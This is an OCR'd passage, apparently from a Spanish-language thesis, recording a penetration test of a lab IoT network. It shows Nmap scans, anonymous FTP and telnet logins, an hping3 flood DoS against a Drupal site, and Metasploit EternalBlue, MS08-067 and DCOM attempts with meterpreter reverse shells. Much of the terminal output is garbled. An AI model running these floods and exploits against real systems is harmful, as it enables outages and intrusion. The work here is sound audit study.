192.168.100.108 00:0c¢:29:b7:80:80 VMware, Inc. SI

una maguina

virtualizada.

Nota. En la tabla se muestra todos los parametros de relevancia dentro de la primera fase de la

auditoria como direcciones IPv4, MAC, nombre de fabricante del dispositivo y una breve

descripcion.
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Escaneo de puertos y sistemas operativos a elementos de red

Para este paso se procede a escanear Unicamente los hosts accesibles desde la
maquina atacante. El objetivo es descubrir los servicios, puertos abiertos y sistemas operativos
de los elementos de red. Mediante la herramienta Nmap se lograra el objetivo, utilizando el

comando:
nmap -O -Pn -p- direccion_IP_a_evaluar

Tabla 10

Parametros para escanear puertos y sistemas operativos con Nmap

Parametro Descripcion
-0 Activa la deteccién del sistema operativo
-Pn No realiza peticiones ICMP. Analiza directamente los puertos
-p- Analiza todos los puertos

e 192.168.100.79

Figura 60

Resultados del escaneo a la direcciéon 192.168.100.79

/home/kali
- 192.168.100.79
://nmap.org ) at 2022-10-23 19:00 EDT

STATE SERVICE
open ftp
open telnet
open nameserver
open i
open
open
open https
open microsoft-ds
open ms-sql-s
open pptp
open mqtt
n mysql
n sip
n sip-tls
n memcache
n mongod
(Raspberry Pi Trading)
rpose

0S detection performed. Please report any incorrect results at https://nmap.org/submit/ .
Nmap done: 1 IP address (1 host up) scanned in 4.18 seconds
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Este elemento de red corre sobre un sistema operativo Linux 4.X|5.X. De acuerdo a los

resultados obtenidos se puede evidenciar que la maquina fue desarrollada por la compafia

Raspberry Pi. A continuacion, se presenta una descripcion de los puertos detectados.

Tabla 11

Puertos abiertos detectados en la IP 192.168.100.79

Puerto Estado Servicio Descripcién
Protocolo que permite la transferencia de archivos a través
21 Abierto ftp
de la red.
Sirve para instaurar una conexién remotamente con otro
23 Abierto telnet
equipo.

42 Abierto nameserver Puerto TCP, Host Name Server

53 Abierto domain Domain Name System

80 Abierto http Navegacion web no segura

Puerto tcp, dirige el trafico hasta el epmap (Endpoint
135  Abierto msrpc
Mapper) de la RPC
443  Abierto https Navegacion web segura
Microsoft-
445  Abierto Protocolo SMB
ds

1433  Abierto Ms-sql-s Permite conexiones remotas a la base de datos SQL
1723  Abierto pptp Protocolo VPN
1883  Abierto mqtt Protocolo MQTT
3306  Abierto mysq| Puerto por defecto de MySQL
5060 Abierto sip Permite conexion a servidores SIP
5061 Abierto Sip-tls Protocolo de inicio de sesion a través de TLS
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Puerto Estado Servicio Descripcion
11211 Abierto memcache Servicio de memoria de cache
27017 Abierto mongod Puerto por defecto MongoDB

e 192.168.100.97

Figura 61

Resultados del escaneo a la direccion la IP 192.168.100.97

/home/kali

-0 -Pn -p- 192.168.100.97
Starting Nmap 7.93 ( https://nmap.org ) at 2022-10-23
Nmap scan report for 192.
Host is up (0.0013s latency).
Not shown: 65532 closed tcp ports (reset)
PORT STATE SERVICE
80/tcp open http
3000/tcp open ppp
10000/tcp open snet-sensor-mgmt
MAC Address: 00:0C:29:B5:9C:C7 (VMware)
Device type: general purpose
Running: Linux 4.X|5.X
0S CPE: cpe: 3
0S details: Li
Network Distance: 1 hop

0S detection performed. Please report any incorrect results at https://nmap.org/submit/ .
Nmap done: 1 IP address (1 host up) scanned in 3.56 seconds

A continuacion, se presenta una descripcion de los puertos detectados en este

elemento de red que corre sobre un sistema operativo Linux.

Tabla 12

Puertos abiertos detectados en la IP 192.168.100.97

Puerto Estado Servicio Descripcién
80 Abierto http Navegacioén web no segura
3000 Abierto ppp Protocolo punto a punto

10000 Abierto Snet-sensor-mgmt Protocolo TCP
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e 192.168.100.107

Figura 62

Resultados del escaneo a la direcciéon 192.168.100.107

/home/kali/Desktop

-0 -Pn -p- 192.168.100.107
Starting Nmap 7.93 ( http nmap.org ) at 2022-11-04 19:38 EDT
Nmap scan report for 192. 100.107
Host is up (0.00057s latency).
Not shown: 65534 closed tcp ports (reset)
PORT STATE SERVICE
80/tcp open

:3B:CB:B4 (VMware)
ose

linux_kernel:4 cpe:/o:linux:linux_kernel:5
4.15 - 5.6
Network Distance: 1 hop

0S detection performed. Please report any incorrect results at https://nmap.org/submit/ .
Nmap done: 1 IP address (1 host up) scanned in 3.74 seconds

El servidor auditado corre sobre un sistema operativo Linux. A continuacion, se presenta

una descripcién del puerto detectado:

Tabla 13

Puertos abiertos detectados en la IP 192.168.100.107

Puerto Estado Servicio Descripcién

80 Abierto http Navegacion web no segura

Al tener Gnicamente abierto este puerto se realiza una conexion a esta IP a través de un
navegador para comprobar si tiene un servicio web levantado o se procede a descartar este

objetivo para una posible intrusion.

Como se aprecia existe un servicio web levantado, por lo que para este objetivo se
realizara una auditoria de seguridad web y asi poder obtener las vulnerabilidades de este

servidor.



Figura 63

Interfaz web de la IP 192.168.100.107

loT ESPE

10T ESPE - Tecnologia de Vanguardia

DE LAS FUERZAS ARMADAS I"\

@ESPENS

INNOVACION PARA LA EXCELENCIA |

e 192.168.100.108

Figura 64

Resultados del escaneo a la direccion 192.168.100.108

/home/kali/Desktop
-0 -Pr 192.168.100.108
Starting Nmap 7.93 ( https nmap.org ) at 2022-11-04 19:44 EDT
Nmap scan report for 192.168.100.108
Host is up (0.00071s latenc
Not shown: 65484 closed tcp portg (reset)
STATE SERVICE
open ftp
open telnet
open smtp
open nameserver
open http
open csnet-r
open pop3
open msrpc
open nethios-ssn 6129
open imap 7144,
open https 7547
open microsoft-ds !
open rtsp 8080,
open submission 9999

open sco-dtmgr 1020:

open

open NFS othIS
open

open lmsocialserver

open mil-2045-47001 Addre
Device type: general purpose
Running: Linux
0S CPE:

open upnp

open rtcm-scl@4
open

open

open

open compag-wcp
open urbisnet

open ovalarmsrv-cmd
open symantec-av

Nmap done:

open
open
open
open
open
open
open
open
open
open
open
open
open
open
open
open
open
open
open
open
open

enpp
ctx-bridge
squid-http
globalcatLDAP
msdtc
ms-wbt-server
ept-machine
upnp

scte30
sgi-esphttp
messageasap
backupexec
unknown
unknown

cwmp
http-proxy
abyss

unknown
unknown
landesk-cha
unknown

00:0C:29:B7:80:80 (VMware)

4.X]5.X
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‘0:1i linux_kernel:4 cpe:/o:linux:11

nt d Linux
open rver twork Distance:

1 IP address (1 host up) scanned in 3

4.15 - 5.6
1 hop

0S detection performed. Please report any incorrect

87
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El servidor tiene un sistema operativo Linux. A continuacion, se presenta una

descripcion de los puertos detectados en este elemento de red, para las siguientes fases se

debe analizar y escoger los puertos mas relevantes para la vulneracion de los mismos.

Tabla 14

Puertos abiertos detectados en la IP 192.168.100.108

Puerto Estado Servicio Descripcion
21 Abierto ftp Protocolo que permite la transferencia de archivos a
traves de la red.
23 Abierto telnet Sirve para instaurar una conexién remotamente con otro
equipo.

25 Abierto smtp Usado para servicio de correo electronico

42 Abierto nameserver Puerto TCP, Host Name Server

80 Abierto http Navegacion web no segura

105  Abierto csnet-ns Protocolo de nombre del servidor CCSO

110  Abierto pop3 Usan gestores de correo electronico para hacer

conexiones con el protocolo POP3

135  Abierto msrpc Puerto tcp, dirige el trafico hasta el epmap (Endpoint
Mapper) de la RPC

139  Abierto netbios-ssn Utilizado por servicios de archivo de Microsoft Windows.

143  Abierto imap Protocolo utilizado por IMAP

443  Abierto https Navegacion web segura

445  Abierto Microsoft-ds Protocolo SMB

554  Abierto rtsp Real Time Streaming Protocol

587  Abierto submission Utilizado por SMTP
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Puerto Estado Servicio Descripcion
617  Abierto sco-dtmgr Servidor de administracion de escritorio SCO
1023 Abierto  netvenuechat Puerto TCP reservado
1025 Abierto NFS-or-IIS Puerto TCP reservado
1080 Abierto socks Servidor Proxy
1111 Abierto Imsocialserver Puerto TCP, Servidor LM Social
1581 Abierto mi-2045-47001 Puerto TCP
1900 Abierto upnp Protocolo SSDP
2101  Abierto rtcm-sc104 Puerto TCP, protocolo de aplicacion MSMQ-DC
2103  Abierto zephyr-clt Puerto TCP, protocolo de aplicacion MSMQ-RPC
2105 Abierto eklogin Puerto TCP, protocolo de aplicacion MSMQ-RPC
2107  Abierto msmg-mgmt Puerto TCP, protocolo de aplicacion MSMQ-Mgmt
2380 Abierto etcd-server Puerto TCP, sin asignacion
2555 Abierto  compag-wcp Compaqg WCP
2745  Abierto urbisnet Puerto TCP, URBISNET
2954  Abierto ovalarmsrv- Puerto TCP, OVALARMSRV-CMD
cmd
2967 Abierto  symantec-av  Administracion remota entre el servidor y el cliente para
Symantec
2968 Abierto enpp ENPP
3127  Abierto ctx-bridge Puerto CTX Bridge
3128  Abierto squid-http Cachés web para Squid
3268 Abierto globalcatLDAP Puerto usado por protocolos de AD y comunicaciones
de ID
3372  Abierto msdtc Puerto TCP
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Puerto Estado Servicio Descripcion
3389 Abierto ms-wbt-server Microsoft Terminal Server
3628 Abierto  ept-machine Interfaz EPT Machine
5000 Abierto upnp Interoperabilidad de dispositivos de red de Windows
5168  Abierto scte30 Conexién SCTE30
5554  Abierto sgi-esphttp SGI ESP HTTP
6070 Abierto messageasap Puerto TCP, Messageasap
6101 Abierto backupexec Puerto TCP
6129 Abierto  Desconocido Desconocido
7144  Abierto  Desconocido Desconocido
7547  Abierto cwmp Puerto utilizado para escucha de paquetes MC
(Misfortune Cookie)
8080  Abierto http-proxy Puerto de prueba para servidores web
9999  Abierto abyss Puerto TCP
10203 Abierto  Desconocido Desconocido
27347 Abierto  Desconocido Desconocido
38292 Abierto landesk-cba Puerto TCP
41523 Abierto  Desconocido Desconocido

Enumeracion de servicios y version

Empleando la herramienta Nmap y modificando los argumentos de la peticién, se

procede a enumerar los servicios con su respectiva version. Con esto se obtiene una vision

mas profunda de los puertos detectados en el paso anterior. Se utilizara el siguiente comando:

nmap -Pn -sV direccion_IP_a_evaluar
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Tabla 15

Parametros para enumerar servicios con Nmap

Parametro Descripcién
-Pn No realiza peticiones ICMP. Analiza directamente los puertos
-sV Identifica la version de los servicios
Figura 65

Enumeracion de servicios a la direccion 192.168.100.79

/home/kall/Desktop

-11-04 19:47 EDT

0 (reset)
:ERVI(E VERSION
tcpwrapped
tcpwrapped
tcpwrapped
tcpwrapped
tcpwrapped
tcpwrapped
tcpwrapped

tCDWIdDDEd
tcpwrapped
tcpwrapped
tcpwrapped
(Raspberry Pi Trading)

Service detection performed. Please report any incorrect results
Nmap done: 1 IP address up) scanned in 0.76 seconds

Figura 66

Enumeraciéon de servicios a la direccion 192.168.100.97

/home/kal1
-Pn -sV 18 68.100.97
Starting Nmap 7. ( t /nmap.org ) at
Nmap scan report for 192.
Host is up (0.00014s late
Not shown: 997 closed tcp
STATE SERVICE
open tt n 1.14.0 (Ubuntu)
open tt Golang net/http server (Go-IPFS json-rpc or InfluxDB API)
snet-sensor-mgmt?

despite returning data. If you know the service/version, please submit the

x@4@hp2\"e\
- \9\9\@\A@e\x@l\x@4)hp’\A@e\xac lb\xb@ )%I(DNSV91510nBlndPeqTCP E ”\@\
:0\0\x0e\x01\x04@hp2\xca>\xf3\xf3" )%r(DNSStatusRequestTCP, E, ”\9\9\9\)@9\
:x01\x04@hp2m\xd8\xe2\xda" )’ (Help,E,”\@\@\@\x@e\x@l\x@hmhp2ru\xb4\x9a”)
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Enumeracion de servicios a la direccion 192.168.100.107

/home/kali/Desktop
192.

Host is up
Not shown:
PORT

Figura 68

Enumeracion de servicios a la direccion 192.168.100.108

/home/kali/Desktop
=[Hi == .168.100.108

Sta
Nmap scan report
Host is up (

osed tcp ports (reset)

ERVICE VERSION

ftp

telnet?

smtp

rver?
Apache httpd 1.3.29 ((Unix) PHP/4.

open
open
open

open
open

squid-http?
globalcatLDAl

open
open
landesk-cba?

ir(GenericLines
ounknown'\>
Server\r\n
to y\x20 erver\r\n"
MIT INDIVIDUALL

4-pc-Llinux-gnu?
erver\r\n'
SMTP\x20Mailserver\r\n250\x20
rer\r\n" )%r(GenericlL
OMailserver\r\n");
BMIT INDIVIDUALLY)

ver\r\n" )%r(GenericLin
(GetRequ 0 0 lserver\r\n"
server\r\n

BMIT INDIVIDUALL
-TCP:V=7 6I=7 4%T1 9 64-pc-linux
nBindReqTCP,40, "\@ 0 0 2\0\0\0\o\

\>
\x20L0GIN\x20
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Analisis y explotacion de vulnerabilidades
Los datos recogidos en los pasos anteriores permitiran tener un mejor entendimiento de
los servicios que se requieren explotar. Para esta seccion se seleccionara los hosts que

presentan mayor riesgo sobre la red auditada.

Eleccién de objetivos de ataque
En base a los problemas de seguridad hallados en la fase de fingerprinting, se
selecciond los servidores que puedan suministrar una mayor tasa de éxito en la fase de

intrusion.

Tabla 16

Servidores a ser evaluados

Nombre IP Numero de puertos detectados
Servidor A 192.168.100.79 16
Servidor B 192.168.100.107 1
Servidor C  192.168.100.108 51

Como se observa los servidores seleccionados tienen una gran cantidad de puertos
expuestos por lo que se elegiran los puertos mas sensibles y que permitan alcanzar las metas
establecidas anteriormente. De lo indicando, el servidor B si bien tiene un Unico puerto abierto,
a diferencia de los otros elementos de red, este levanta una pagina web por ello la eleccion del

mismo.

Puerto 21
Como se habia indicado el puerto 21 corresponde al protocolo FTP el cual permite

intercambiar archivos entre computadoras dentro de la red. Con estos antecedentes se tratara
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de establecer comunicacion a través de este protocolo, si el puerto no tiene un usuario

configurado el servicio FTP seria de acceso publico.

Mediante el comando ftp seguido de la direccion a evaluar se intentara establecer la

conexion.
e 192.168.100.79

Al momento de ingresar el comando se solicitard autenticacion por parte del usuario, se
ingresara las credenciales por defecto del servicio FTP para usuario y contrasefia las cuales
son “anonymous”. Se logra acceder al directorio FTP del Servidor A, se lista los archivos dentro
de este directorio sin resultados. En caso de que el acceso fuese incorrecto se deberia hacer
un ataque de fuerza bruta para probar las claves por defecto mas comunes y asi lograr una

autenticacion exitosa.

Figura 69

Conexion mediante ftp a la IP 192.168.100.79

/home/kali/Desktop
tp 192.168.100.79
Connected to 192.168.100.79.
0 DiskStation FTP server ready.
100.79:kali): anonymous
ok, type your email address as password.

Anonymous login ok, access restrictions apply.

Remote system type is UNIX.
Using binary mode to transfer files.
ftp> |

e 192.168.100.108
Se repite el procedimiento para el Servidor C, se logra el mismo nivel de acceso. Sin
embargo, no reconoce los comandos utilizados para listar archivos tanto para Linux

como para sistemas basados en Linux.
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Figura 70

Conexion mediante ftp a la IP 192.168.100.108

Jhome/kali
t 192.168.100.108
Connected to 192.168.100.108.
220 Welcome to my FTP Server
Name (192.168.100.108:kali): anonymous
331 User OK, Password required
Password:

230 User logged in, proceed

ftp> 1s

500 Unknown Command.

500 Unknown Command .

ftp: Can't bind for data connection: Address already in use
ftp> dir

500 Unknown Command .

Puerto 23

Este puerto permite acceder remotamente a una maquina a través de la red,
permitiendo al usuario remoto controlar completamente el sistema a través de lineas de
comando. Al identificar que el Servidor Ay C tiene este puerto abierto, se procedera a la
explotacion del servicio. Con el comando telnet seguido de la direccién IP se probara

establecer la conexion.
e 192.168.100.79
El servidor A rechazo la conexion.

Figura 71

Conexidon mediante telnetala IP 192.168.100.79

/home/kali
192.168.100.79
Trying 192.168.100.79 ...

Connected to 192.168.100.79.
Escape character is '™]1°.
Connection closed by foreign host.

e 192.168.100.108

EL servidor C si acepto la conexidon. Se puede visualizar que la maquina remota trabaja

sobre Solaris, al tratar de verificar la version de Solaris instalada no reconoce el comando.



131

Figura 72

Conexion mediante telnet ala IP 192.168.100.108

/home/kali
192.168.100.198
Trying 192.168.100.108..
Connected to 192.168.100.108
Escape character is '"*]"'.
command unknown

solaris#
cat /etc/release
command unknown

solaris#

Puerto 80

Este es el puerto asignado al protocolo de transferencia de hipertexto HTTP, si bien los
tres servidores tienen este puerto expuesto, el andlisis se volcara sobre el servidor B. En la
fase de recoleccidn de informacion se constaté que el servidor B tiene una pagina web
levantada, con informacion relevante sobre el giro de negocio de la red que se esta evaluando.
Por tal motivo, se hace necesario verificar la parte de seguridad web sobre esta pagina. Al
trabajar la pagina sobre el protocolo HTTP se sabe de primera instancia que la comunicacion
entre el cliente y el servidor web no esta cifrada, lo que es un problema de seguridad en caso

gue se maneje informacién sensible o se requiera un inicio de sesibn como en este el caso.

Como se habia mencionado con anterioridad para obtener un ataque mas efectivo se
necesita recabar toda la informacion posible del sistema. Con Nmap se recolectara mayor

informacion del servicio web.
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Figura 73

Resultados de escaneo del puerto 80 en la IP 192.168.100.107

/home/kali

192.168.100.107
Starting Nmap 7.93 ( https://nmap.org ) at 2022-11-05 18:23 EDT
Nmap scan report for 192.168.100.107
Host is up (0.00076s latency).

PORT STATE SERVICE VERSION

80/tcp open http

| fingerprint-strings:

| GetRequest, HTTPOptions:

| HTTP/1.0 200 OK

| Date: Sat, 05 Nov 2022 22:23:11 GMT

| Content-Type: text/html; charset=utf-8

| <!DOCTYPE html>

| <html lang="en" dir="1ltr" prefix="content: http://purl.org/rss/1.0/mod
p.me/ns# rdfs: http://ww.w3.0rg/2000/01/rdf-schema# schema: http://schema.o
org/2004/02/skos/core# xsd: http://ww.w3.0rg/2001/XMLSchema# ">

| <head>

| <meta charset="utf-8" />

| <meta name="Generator" content="Drupal 8 (https://www.drupal.org)" />

| <meta name="MobileOptimized" content="width" />

| <meta name="HandheldFriendly" content="true" />

| <meta name="viewport" content="width=device-width, initial-scale=1.0"

| <link rel="shortcut icon" href="/core/misc/faviconl.ico"” type="image/v
| <link rel="alterna

|_http-title: Bienvenidos a IoT ESPE

| _http-generator: Drupal 8 (https://ww.drupal.org)

I SErvICe Unrecognizen uespite returning odtd. 17 you Know the service/versi
MAC Address: 00:0C:29:3B:CB:B4 (VMware)

Warning: 0SScan results may be unreliable because we could not find at least
Device tvpe: general purnose

Running: Linux 4.X|5.X

0S CPE: cpe:/o:linux:linux_kernel:4 cpe:/o:linux:linux_kernel:5

0S details: Linux 4.15 - 5.6

Network Distance: 1 hop

TRACEROUTE
HOP RTT ADDRESS
1 0.76 ms 192.168.100.107

0S and Service detection performed. Please report any incorrect results at h
Nmap done: 1 IP address (1 host up) scanned in 88.46 seconds

Se puede evidenciar que el servidor corre sobre sistema operativo Linux y utiliza un
sistema de gestion de contenidos multipropdsito como Drupal, la version de este CMS es la

numero 8.

Descubrimiento de archivos en el servidor web. La herramienta dirb es un web
fuzzer que basicamente permite verificar las rutas activas de un sitio web, esto con el objetivo
de encontrar posibles vulnerabilidades de seguridad. Se emplea esta herramienta para
encontrar todos los archivos web ocultos de esta pagina, para ejecutar el web fuzzer en la

maguina atacante se ingresa el comando dirb seguido de la direccién de la pagina web.
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Figura 74

Escaneo de contenido web con dirb

/home/kali
http://192.168.100.107

DIRB v2.22
By The Dark Raver

START_TIME: Sat Nov 5 18:42:11 2022
URL_BASE: http://192.168.100.10
WORDLIST_FILES: /usr/share/dirb/wordlists/common.txt

GENERATED WORDS: 4612

Scanning URL: http://192.168.100.107/ —
+ htt 19 68.100.107/core (CODE:301|SIZE:41)
+ htt 192.168.100.107/node (COD ]
+ http:/

END_TIME: Sat Nov 5 18:
DOWNLOADED: 4612 - FOUNLC

Se tiene 3 objetos encontrados dentro de esta pagina web, se procede a acceder a

cada uno de ellos para verificar si la informacion es relevante para la auditoria web.

Figura 75

Ficheros de la pagina web de la IP 192.168.100.107

O & 192.168.100.107

misc/
themes/

O & 192.168.100.107

untered an unexpected error. Please try again later.

& 192.168.100.107

defaulty
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Como resultados en el sitio http://192.168.100.107/core se obtiene los recursos que la
pagina web utiliza como images, codigos .css, iconos, etc. El sitio http://192.168.100.107/sites

tiene los archivos de programcion .js y .css de la pagina web.

Atague de Denegacién de Servicios. Como se estudié anteriormente un ataque de
denegacion de servicio consiste en la inundacién de peticiones a servidores objetivos con el fin
de provoccar una sobrecarga en el sistema y que este deje de funcionar de manera normal o
correcta. Para realizar este ataque se utiliza la herramienta hping3, configurando correctamente
la instruccion se puede enviar paquetes personalizados y mostrar respuestas en el host
destino. El objetivo es enviar la mayor cantidad de paquetes al servidor B con el fin de

empeorar su servicio, para lo cual se envia la siguiente instruccion:

hping3 --rand-source -d 1000 -p 80 --flood 192.168.100.107

Tabla 17

Parametros de la herramienta hping3

Parametro Descripcién
--rand-source Modo de direccion de fuente aleatorio
-d Especifica el tamafio del dato
-p Puerto de destino
--flood Se encarga de enviar la mayor cantidad de paquetes como sea posible.
Figura 76

Ejecucién de un ataque de denegacion de servicio

ing 192.168.100.107
HPING 192.168. : NO FLAGS are set, 40 headers + 1000 data bytes
hping in flood mode, no replies will be shown

'
— 192.168.100.107 hping statistic —
7099976 packets transmitted, @ packets received, 100% packet loss

round-trip min/avg/max = 0.0/0.0/0.0 ms



http://192.168.100.107/core
http://192.168.100.107/sites
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Con la ejecucion de esta instruccion se enviaron mas de 7 millones de paquetes al
servidor B, al comprobar la funcionalidad de la pagina la misma disminuyo en los tiempo de

carga, por lo que se observa que el objetivo se cumple.

Figura 77

Afectacion en la pagina web atacada

Bienvenidos a loT ESPE

IoT ESPE

IoT ESPE - Tecnologia de Vanguardia

@ESPE\4

DE LAS FUEAZAS ARMADAS. |f\

Puerto 135

Cuando se hacen conexiones al puerto 135, el trafico se envia al Endopoint Mapper
(Asignador de puntos finales) de la RPC. Se sabe que el Endopoint Mapper es explotado por
virus, las constantes conexiones hacia este puerto provocan que el host se recargue. El ataque

mas empleado a este puerto es la DoS o ataque de Denegaciéon de Servicio.

e 192.168.100.79

Para la explotacién de esta vulnerabilidad se utilizara la herramienta Metasploit la cual
contiene el exploit especifico para el puerto 135. El exploit es el MS03 026 _DCOM el cual hace
un desbordamiento de pila sobre el servicio RPCSS y afecta sistemas operativos Windows

2000, XP y 2003.



136

Para iniciar la herramienta Metasploit se ejecuta el comando msfconsole, una vez se

haya cargado la herramienta se ingresara el siguiente comando:
use exploit/windows/dcerpc/ms03_026_dcom

Se configura un shell inverso mediante la siguiente instruccién para tener acceso

remoto a la maquina vulnerable.
set payload windows/meterpreter/reverse_tcp

Se establece el Listener Host que es la maguina atacante, en este caso la

192.168.100.100 con el siguiente comando
set LHOST 192.168.100.100
Y la maquina objetivo (servidor A) con la siguiente instruccion
set RHOST 192.168.100.79
Se establece el puerto donde se realizara la carga
set RPORT 135
Con el comando exploit se inicia el proceso de vulneracion.

Figura 78

Ataque al puerto135 de la IP 192.168.100.79

Metasploit tip: Use help <command> to learn more
about any command
Metasploit Documentation: https://docs.metasploit.com/

> use exploit/windows |
onfigured paylo ows/shell/reverse_tcp
set payload windows/meterpreter/reverse_tcp

ay d = windows/meterpreter/reverse_tc
msf6 exploit( set LHOST 192.168.100.100
LHOST = 192.168.100.100

ms f! xploit( ) > set RHOST 192.168.100.79

192.168.100.79

it ) > set RPORT 135
3

5

) > exploit

handler on 192.168.100.10:
AT g Win /2 , niversal ...
192.168.100. ding t d9fs. -11c 61e-0020a 7:0.0@ncacn_ip_tep:192.168.100.79[135] ...
192.168.100. ling DCOM RPC ad (1648 byt
completed, but no session was
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El resultado indica que el exploit se completd, pero como se observa la sesion no fue

creada.

e 192.168.100.108

Se repite el proceso anterior, Unicamente cambiando el RHOST en este caso la IP es la

192.168.100.108 que corresponde al servidor C.

Figura 79

Ataque al puerto135 de la IP 192.168.100.108

msf6 exploit( ) set payload windows/meterpreter/reverse_tcp
payload = windows/meterpreter/reverse_tcp

msf6 exploit( ) > set LHOST 192.168.100.100

LHOST = 192.168.100.100

msf6 exploit( ) > set RHOST 192.168.100.108

RHOST = 192.168.100.108

msf6 exploit( ) set RPORT 135

RPORT = 135

msf6 exploit( ) > exploit

Started reverse TCP handler on 192.168.100.100:4444
192.168.100.108:135 - Trying target Windows NT SP3-6a/2000/XP/2003 Universal...
192.168.100.108:135 - Binding to 4d9f4ab8-7dlc-11cf-861e-0020af6e7c57:0.0@ncacn_ip_tcp:192.168.100.108[135] ...
192.168.100.108:135 - Calling DCOM RPC with payload (1648 bytes) ...
Exploit completed, but no session was created.
msf6 exploit( I |

Nuevamente el exploit se completa, pero sin establecer una sesion entre la maquina

atacada y el atacante.

Puerto 445
Este puerto es uno de los mas usuales y facilmente propensos para atagues

informaticos. El mismo al ser un puerto TCP permite compartir archivos SMB de Microsoft-DS.
e 192.168.100.79

Para identificar apropiadamente el puerto a vulnerar, se realiza la enumeracion SMB,
para lo cual se utiliza la herramienta Nmap, con el comando nmap -p 445 -A ip_servidorA se
obtienen la informacién del sistema operativo, nombre de la computadora y de la NetBIOS y el

modo de seguridad SMB.



Figura 80

Resultados de escaneo del puerto 445 en la IP 192.168.100.79

¢ ) at 2022-11-04 20:12 EDT

ause we could not find at least 1 open and 1 closed port

:/o:linux:linux_kernel:5

inux 4.15
: 1 hop

36m16s, deviation: 42m24s, median: -1h@6ml6s

up: WORKGROUP\x09
m time: 2022-11-

TRACEROUTE
HOP RTT ADDRESS
1 @.70 ms 192.168.100

0S and Service detection performed. Please repor
Nmap done: 1 IP address (1 host up) scanned in 1
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Una vez realizada la enumeracion, se procedera a verificar si el servicio detectado es

vulnerable o el mismo ya se encuentra parchado. Nuevamente utilizando Nmap se puede

descubrir el estado vulnerable de un servicio SMB que tiene una maquina destino.

nmap --script smb-vuln* -p 445 192.168.100.79

En la Figura 81 se identifica que la maquina atacada es vulnerable a MS17-010 para

servidores Microsoft SMBv1 y también es vulnerable a ejecucion de cédigo remoto MS08-067.

De acuerdo a la notacién de vulnerabilidades comunes y explotaciones, el Servidor A es

vulnerable al CVE-2017-0143 y al CVE-2008-4250.
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Figura 81

Vulnerabilidades detectadas en el puerto 445 en la IP 192.168.100.79

-11-04 20:18 EDT

(Raspberry Pi Trading)

Disclosure
Reterenc
https
_ https
_smb-vuln-ms
_smb-vuln-
smb-vuln-ms
VULNERABL
Remot

-0143

code execution vulnerability exists in Microsoft SMBvl

px
uidance-for-wannacrypt-atta

Nmap done: 1 IP address (1 host up) scanned in 23.91 seconds

Nota. En la imagen se enmarcan las vulnerabilidades encontradas sobre el puerto 445 del
servidor con la IP 192.168.100.79, también se indica el nivel de riesgo y la fecha en que la

vulnerabilidad fue descubierta.

Sabiendo que la maquina es vulnerable a MS17-010 se utilizara Metasploit para atacar
el servidor A. Se inicia la herramienta con msfconsole. Se establece la IP del servidor Ay se

ejecuta la explotacion

Como se observa en la Figura 82 a pesar de que en la fase de analisis de
vulnerabilidades sobre el puerto 445 se indica que el servicio es vulnerable a MS17_010, el

exploit no llego a establecer la conexion remota con la maquina atacante.
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Figura 82

Ataque utilizando el payload ms17_010_eternalblue

use exploit/windows/smb/ms17_010_eternalblue

payload cc gured, defaulting to windoi reverse_tcp
msf6 exploit( ) RHOS 92.168.100.79
RHOST = 192.168.100.79
msf6 exploit(

Started
19 o o liary, anner;/ /smb_m:
likely VULNERABLE to MS
s likely INFECTED with DoublePu bit), XOR Key: 0x5E3
1 of 1 hosts (100% complete)
il ilnerable.
to target for exploitation
established fc

g
ORE raw buffer dump (11
0xp0BEOBOD 57 69 6e 64 77 Windows 5.1
Target arch selected val for arch indicated by DCE/RPC reply
exploit with 12 Groom / .
11 but last fr ent of exploit packet
Err ommunicationError: Read timeout expired when reading from the Socket (timeout
xploit completed, but no se on was created.
msfé exploit(

También se conoce que la maquina es vulnerable a MS08_067 se utilizara Metasploit
nuevamente para atacar el servidor A. Se inicia la herramienta con msfconsole, se configura el

payload ms08_067_netapi y se indica la IP del servidor A.

Figura 83

Ataque utilizando el payload ms08_067_netapi

exploit( ) > set payload windows/meterpreter/reverse_tcp
d = windows/meterpreter,
xploit(
Module options (exploit/windows/smb/ms!
Name ent Setting Required
ing-Metasploit

T 5
SMBPIPE ows The pipe name to use (BROWSER, SRVSVC)

eterpreter/reverse_tcp):

urrent Setting Required Description
Exit technique (Accepted: '', seh, thread, process, none)
The listen addr (an interface may be specified)
The listen port

Exploit target:

Id Name

atic Targeting

.168.100.79

92.168.100.100

P handler
- Expl reachal H nnectionRefused The connection was refused by the remote host (192.168.
, but no

Nota. En la figura se aprecia que la sesion remota entre la maquina victima y el del atacante no

se crea.
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e 192.168.100.108

Al tener el mismo puerto expuesto que el servidor A. Se procedera de la misma manera

para el Servidor C, en la fase de enumeracion se obtienen los siguientes resultados.

Figura 84

Resultados de escaneo del puerto 445 en la IP 192.168.100.108

/home/kali/Desktop

2022-11-04 20:24 EDT

submit the following fingerprint at https: /cgi-bin/submit.

1 open and 1 closed port

ailed (SmB2)

TRACEROUTE
HOP RTT
1

0S and Service detecti . € report any
Nmap done: 1 IP addr ) scanned in 24.67

A pesar de que la negociaciéon con el protocolo SMB fallo, se procedera a intentar

detectar a que es vulnerable el servicio SMB de la IP 192.168.100.108.

Figura 85

Vulnerabilidades detectadas del puerto 445 en la IP 192.168.100.108

/home/kali/Desktop

ate a connection:SMB: ERROR: Server returned le ata than it w supposed to (one or more fields are missing); aborting [14]

Nmap done: 1 IP addres

En el resultado se indica que no puede negociar una conexién con la vulnerabilidad

MS10-061 y tampoco con la MS10-054.
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Puerto 1883

Este es el puerto predeterminado para el protocolo de mensajeria/suscripcion MQTT.
Como se observa el servidor A cuenta con este puerto abierto, por lo que se procedera a
explotarlo. Para esto se realizara un ataque de fuerza bruta, debido a que en el protocolo
MQTT la autenticacion es opcional y a pesar de que se implementen las credenciales, estas no
son cifradas y se envian en texto claro. Teniendo en cuenta lo indicado también se podria
realizar un ataque de hombre en el medio para obtener las contrasefias si se necesitase, pero
como se menciond anteriormente en la mayoria de aplicaciones 10T hay una falencia de

mecanismos de limitacion de velocidad y la autenticacion estad mal implementada.

En primera instancia se utilizara la herramienta Nmap para intentar establecer una
conexion con un agente MQTT e intentar suscribirse a los temas predeterminados configurados
por esta herramienta para tener informacion del sistema y todos los mensajes de diferentes

clientes. Se emplea el siguiente codigo:
nmap -p 1883 --script mqtt-subscribe 192.168.100.79

Figura 86

Ejecucién del script mqtt-subscribe sobre la IP 192.168.100.79

/home/kali/Desktop

-p 188:
Starting Nmap 7.9 2
Nmap scan report for 192.168.100.79
Host is up (@©.0031s latency).

PORT STATE SERVICE

18 tcp open mgtt

| _mgtt-subscribe: Every topic filter was rejected.
MAC Address: (Raspberry Pi Trading)

